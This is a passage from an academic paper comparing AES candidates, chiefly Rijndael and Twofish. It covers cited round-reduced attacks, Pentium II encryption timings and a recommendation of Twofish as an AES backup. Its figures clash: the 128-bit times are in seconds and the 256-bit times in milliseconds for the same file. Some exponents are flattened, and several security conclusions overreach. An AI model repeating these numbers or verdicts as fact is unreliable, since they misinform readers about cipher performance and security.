cipher with the four different round functions 
symmetrically reduced from 8 rounds to 3 [27]. Thus, 
the 9 rounds came as the effective summarisation of 
the two rounds number 6 and 3. 

- RC6 has an attack against 15 rounds [28]. This attack 
also applies to a weak key class; the attack works for 1 
in 260 keys, and the complexity of the attacks is 2170.  
It is important to note the designers of this algorithm 
claims that 16 rounds is attackable, although they 
gave no concrete attack. 

- Rijndael has a distinguishing attack against 8 rounds, 
as postulated by Ferguson, Kelsey and Schneier [29]. 

- Serpent has a distinguishing attack against 9 rounds 
[30]. The authors estimate that the longest variant that 
is not as secure as exhaustive search is 15 rounds, 
although they have no attack. 

- Twofish has attacks against 6 rounds. The related-key 
attacks discussed in [18] and [19] do not work [31]. 

 

IMPLEMENTATION 

 
     The performance of Rijndael and Twofish are compared in 
terms of software and hardware related issues, thus areas of 
interest include; key schedule, key encryption setup, platform 

dependencies and performance on different architectures, 
such as, Pentium family and IA64’s.   
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Table 5: A 128-bit Key Encryption Speed on a Pentium II 
Processor  
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Figure 1: A 128-bi key Encryption Speed on a Pentium II 
Platform 
 
    From table 5 and figure 1, Rijndael performs excellently well 
compared to Twofish. For a file size of 1781KB, it took 
Rijndael 250 seconds to perform encryption, while it took 
Twofish 389 seconds, for a small key space, using 128bits on 
an Intel Pentium II PC.  
     A further experiment is conducted, now with a larger key 
space of 256bits, as shown below. 
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File Size (KB) 108 143 97 420 1781 
Rijndael (time in 
milliseconds) 

501 571 300 811 1100 

Twofish (time in 
milliseconds) 

160 310 100 431 570 

Table 6: A 256-bit Key Encryption Speed on a Pentium II 
Intel Processor. 
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Figure 2: A 256-bi key Encryption Speed on a Pentium II 
Platform 
 
From table 6 and figure 2, we see that Rijndael was the slower 
cipher when using a 256bit key. Comparing table 5 and 6, it 
appears that Rijndael was the faster cipher when using 128-
bit key on the same file size compared to Twofish while the 
overall performance for longer keys from 192-bit to 256-bit 
shows that Twofish is preferred. Overall performance for 
larger key spaces Twofish is a preferred cipher. This confirms 
NIST and popular assumptions, as Rijndael deteriorates with 
increasing key length [32]. 
 
 
DISCUSSION 
 
     An evaluation of Twofish and Rijndael shows that 
Twofish is a better cipher on software performance for 192bits 
and 256bit key spaces and provides a much better cipher 
security; whereas, Rijndael proves to be better on 
performance on “limited space” requirement, that is, on 8-bit 
smart cards as shown in our implementation.  
     Overall security comparison, Rijndael needs to be re-
evaluated. We have seen the non-linearity issue with its S-
box, leading to an algebraic attack on Rijndael - a new 
statistical attack on Rijndael.  The significant issue behind 
the call for a DES replacement algorithm is the security of the 
cipher, and if the security of the AES is questionable, then, it 
is time for a backup algorithm. Rijndael possess arguable 
security margins over the five finalists, and even the 
evaluation by NIST, (see table) shows that Twofish is in fact 
a stronger cipher. 
     Twofish is seen to possess similar algorithmic operations 
as our Data Encryption Standard (DES) in lots of ways; 
namely; the design framework is that of the Feistel Network, 
the S-box and 16-rounds of iterations. Though there are 
other operations, which Twofish has but not even used in 
most popular ciphers, operations such as Maximum Distance 
Separable (MDS) and the Pseudo-Hadamard 
Transformation (PHT) matrix, which may have their 
positives and negative in terms of security of the cipher. 
However, their analyse so far have been promising. 
     Rijndael has different design models from DES. Rijndael is 
an SP Network contrary to the Feistel Model of DES. 
Similarly, Rijndael uses byte sub and mix column operations, 
which are not implemented with DES. 

     Based on our findings, we recommend a backup cipher – 
The Twofish Algorithm as an AES backup cipher.  Twofish 
has shown to possess the best security margin when 
compared with the five AES ciphers [14]. Since new and 
innovating cryptanalytic attacks are possible on 
Rijndael.Complimenting Twofish with Rijndael in most 
situation, will be a useful Backup Algorithm. 
     Twofish was designed primarily with security in mind as 
Twofish has proven to have the strongest round function 
among the five finalists, with the best-known attack being on 
6 rounds of Twofish compared to at least 9 rounds for any of 
the other finalist [33]. 
     Recommendations have been made to increase the number 
of round of Rijndael and RC6. [33] For example recommends 
increasing the number of rounds for RC6 from 20 to 32, and 
the number of rounds in Rijndael from 10/12/14 to 18, to get 
at least a 2x security margin” will be a way forward.    
 
     Lars Knudsen also recommends that the number of rounds 
of Rijndael should be greater than the maximum number of 
rounds that can be cryptanalysed [34]. 
     The security of Rijndael is also of some concern to 
Coppersmith et. al of IBM, presenters of MARS cipher in the 
AES conference. “Rijndael’s mode with only 10 rounds has a 
relatively low security margin” –[35]. As he explained that the 
structure of Rijndael and Square are new, and not fully 
understood. In “The Block Cipher Square”, Daemen et. al, 
presented an attack unique to the Square Cipher structure, 
which caused them to increase the number of rounds. The 
existence of attacks unique to Square aroused concerns for 
Rijndael’s long-term resistance! Since Rijndael and Square 
have close design resemblance. 
     Rivest et. al. – presenters of RC6 cipher – expressed some 
security concerns with Rijndael. Thus,  Rivest et. al. [36] 
complained of the different attacks possible on Rijndael, 
such as, related-key attack.  
      In an effort to fortify the strength of Rijndael, Joan and 
Vincent [37] have come with the proposal of adding more 
rounds when and where needed. This goes as “In 
applications where the confidence in Rijndael’s security 
doesn’t match the importance of the confidentiality/integrity, 
or in the hypothetical case that an effective attack on 
Rijndael would be published, a Rijndael version with an 
increased number of rounds can be used”. This stems to 
reassure the amount of work readily available for Rijndael, at 
the same time, it shows that the number of rounds used in 
Rijndael is probably not very adequate for an AES cipher. 
This has left us believing that Rijndael exhibits a level of 
security posture that may not be comprehensively 
acceptable.  
      Though the security of most ciphers are said to be better 
or stronger than the others; however, it is important to note 
that all the ciphers have never been subjected to the same 
amount of study. Furthermore, there is no consensus on how 
many rounds one should add to get an adequate security 
margin. For instance, how should the added security of an 
extra round of a generalised Feistel (network) cipher be 
compared with a round of an SP network cipher such as RC6? 
– [38]. Either case, it will worth the effort recommending a 
backup algorithm to the Advanced Encryption Standard, so 



 

that the time and effort spent selecting the AES would not be 
a waste. Especially, selecting an algorithm that compliments 
the AES in security, which leaves Twofish the runner-up AES 
algorithm. 
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